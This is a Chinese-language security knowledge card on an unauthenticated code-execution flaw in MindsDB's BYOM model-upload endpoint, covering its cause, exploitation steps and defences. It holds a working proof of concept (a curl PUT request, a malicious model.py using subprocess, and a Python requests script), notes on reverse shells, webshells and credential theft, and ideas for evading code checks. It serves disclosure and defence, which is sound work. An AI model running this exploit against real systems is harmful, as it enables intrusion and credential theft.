♧ Godown 安全知识树

MindsDB BYOM 未认证 PUT 上传 Python 代码:type=inhouse 经 exec 在当前进程执行

ai-security/agent-security · verified

一句话结论

MindsDB 的 BYOM(Bring Your Own Model)HTTP 接口 PUT /api/handlers/byom/<name> 默认没有认证检查;它把上传的 code 文件写入临时目录后,以 type=inhouse 交给 ModelWrapperUnsafe,最终在 import_string() 中执行 exec(code, module.__dict__)。攻击者只需一个 multipart PUT 请求,就能在当前 MindsDB 进程上下文执行任意 Python 代码(含 subprocess/文件读写),无需预先在服务器放文件。

原理

  • 未认证入口:BYOMUpload.put(name) 直接调用 prepare_formdata(),没有 token/session/角色校验;默认 HTTP API 暴露在 47334 时任何可达用户都能上传。
  • 文件处理:prepare_formdata() 只校验文件名 basename(禁止路径穿越)与字段名 code/modules,然后把上传内容写入 tempfile.mkdtemp(prefix="mindsdb_file_") 下的临时文件,返回路径。
  • inhouse 执行路径:connection_args = {"code": code_file_path, "modules": module_file_path, "type": params.get("type")};当 type=inhouse 时,CreateMLEngine → integration_controller.add() → byom_handler.create_engine() → _get_model_proxy() → ModelWrapperUnsafe.__init__() → import_string(code)。
  • exec sink:import_string() 创建 types.ModuleType,执行 exec(code, module.__dict__);用户代码的顶层语句(导入、命令执行、文件写入)在上传/创建引擎阶段立即执行,甚至不依赖后续训练/预测。
  • 结构检查不查内容:check_module()/find_model_class() 只要求代码里存在带 train/predict 的类,并实例化它;不会做 AST/危险 API 检查,因此恶意顶层代码与合法模型类可以共存。
  • 为何是 RCE 而非 SSRF/文件写:代码在 MindsDB 主进程内执行,继承其文件系统、网络、环境变量与数据库凭据;可直接 subprocess.run、os.system、读 /etc/passwd、连内部服务。

触发条件

  • MindsDB HTTP API 可达(默认 :47334),BYOM 功能开启;目标版本为 v25.11.0(原文复现版本)。
  • 未配置认证/反向代理鉴权,或 BYOM 路由未纳入认证中间件;默认配置即可。
  • 攻击者能发送 multipart PUT,字段包含 code、modules,type=inhouse。
  • 目标进程有执行 Python 代码所需的权限(通常为 MindsDB 运行用户,可能是容器内 root)。

利用步骤

  1. 准备恶意模型文件:编写 model.py,顶层执行命令/写文件,同时定义含 train/predict 的 MyModel 类,满足结构检查。
  2. 准备 requirements:requirements.txt 可只写 pandas 等合法依赖,避免安装阶段报错。
  3. 发送 PUT:PUT /api/handlers/byom/<name>,multipart 字段 code=@model.py、modules=@requirements.txt、type=inhouse。
  4. 代码立即执行:MindsDB 创建引擎时调用 exec,顶层命令执行;若引擎名已存在会返回 “Engine already exists”,换一个 name 即可。
  5. 验证:读取命令输出文件(示例 /tmp/pwned.txt),或建立反弹 shell/写 WebShell。
  6. 横向:读取环境变量/配置中的数据库凭据、内部 API token,访问内网服务。

PoC

curl -X PUT http://127.0.0.1:47334/api/handlers/byom/pwned \
  -F 'code=@model.py' \
  -F 'modules=@requirements.txt' \
  -F 'type=inhouse'
# model.py:顶层副作用 + 合法模型结构
import os, subprocess
result = subprocess.run(['id'], capture_output=True, text=True)
open('/tmp/pwned.txt', 'w').write('PWNED: ' + result.stdout)

class MyModel:
    def train(self, df, target, args=None):
        return self
    def predict(self, df, args=None):
        return df
# 一键复现
import requests, time
CODE = """import os, subprocess
result = subprocess.run(['whoami'], capture_output=True, text=True)
open('/tmp/pwned.txt', 'w').write('PWNED: ' + result.stdout)
class MyModel:
    def train(self, df, target, args=None): return self
    def predict(self, df, args=None): return df
"""
files = {
    'code': ('model.py', CODE, 'text/plain'),
    'modules': ('requirements.txt', 'pandas\n', 'text/plain'),
}
r = requests.put("http://127.0.0.1:47334/api/handlers/byom/11",
                 files=files, data={'type': 'inhouse'})
print(r.text)
time.sleep(1)
print(open('/tmp/pwned.txt').read())

原文在 MindsDB v25.11.0 本地环境验证了 whoami/id 写入 /tmp/pwned.txt;本卡不执行 PoC。

变体与关联

  • 其它 BYOM type:inhouse 在当前进程执行;其它 type 可能走 Docker/远程引擎,隔离性不同;攻击者优先选择 inhouse。
  • 其它 AI 平台代码上传:Langflow/Letta/Dify 等也有自定义代码/组件执行面;关键是“上传代码 + 服务端 exec/import”且认证缺失。
  • 绕过结构检查:把恶意代码放在顶层或类属性/装饰器中,保留 train/predict 即可;若未来加入 AST 检查,可用动态导入/编码绕过。
  • 关联:[[ai-security-agent-security-crewai-sandboxpython-dunder-subclasses-builtins-escape]](AI 工具沙箱逃逸)、[[ai-security-agent-security-letta-tools-run-unauth-code-exec]](未授权代码执行)、[[ai-security-agent-security-langflow-build-public-tmp-data-code-exec]](公开端点代码执行)。
  • 边界:如果 BYOM 路由启用了认证、API 仅监听 localhost/内网且不可达、或 type 被强制为隔离模式,利用失败;版本可能已修复。

检测与防御

  • 认证与授权:所有 /api/handlers/byom/* 路由强制认证与角色校验;默认拒绝未认证请求;不要把 MindsDB API 直接暴露公网。
  • 隔离执行:BYOM 代码在独立容器/沙箱中执行,限制文件系统、网络、环境变量与数据库凭据;不要在主进程 exec 用户代码。
  • 代码审核:AST 白名单/危险 API 扫描(subprocess/os.system/eval/exec/import/pickle 等)只能作为纵深,不能替代隔离。
  • 检测:PUT /api/handlers/byom/ 的异常上传、顶层代码含 subprocess/os.system、MindsDB 进程派生 shell、写入 /tmp 的可疑文件、异常外联;监控 47334 端口的暴露。
  • 响应:升级 MindsDB、轮换其环境中的数据库/云凭据、隔离实例、审计是否已有恶意模型/引擎。